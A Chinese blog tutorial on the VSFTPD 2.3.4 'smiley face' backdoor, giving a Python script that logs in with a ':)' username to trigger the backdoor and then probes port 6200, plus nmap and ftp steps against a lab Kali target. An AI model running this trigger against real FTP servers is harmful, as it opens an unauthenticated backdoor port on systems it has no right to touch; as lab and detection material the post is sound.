python脚本检测笑脸漏洞

一、漏洞介绍

VSFTPD 2.3.4,俗称笑脸漏洞。在VSFTPD的实现代码中存在一个后门函数,属于开发者设计上的失误。在检测到用户名带有特殊字符:)时,会自动打开6200端口。

二、脚本创建

查询资料获得代码如下:

import socket
from ftplib import FTP

url = input("请输入你需要检测的地址:")
ftp = FTP()
username = 'user:)'  # 用户名必须包含:)这两个字符
password = 'abc'
try:
    ftp.connect(url, 21, timeout=6)  # 使用ftp登录,设置延时6秒
    ftp.login(username, password)
    ftp.quit()
except:
    print("完成登录检测")
try:
    s = socket.socket()  # 使用socket函数来检测是否有漏洞存在
    s.connect((url, 6200))
    s.close()
    print("存在微笑漏洞")
except:
    print("没有笑脸漏洞!")

然后将1.py复制到kali桌面

三、打开虚拟机

得到kali的ip地址

然后输入nmap -sV 192.168.48.0/24扫描靶机ip

得到靶机ip为192.168.245.132

输入nmap -p 6200 靶机IP检查端口开放情况

可以看到6200端口未开放

如果端口未开放则输入ftp 目标ip 用户名随便输但后面要带:),密码也随便输(不显示)

现在再看看端口开放情况,可以看到6200端口已打开

kali中输入cd Desktop,然后输入python 脚本的文件名和靶机ip即可检测

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值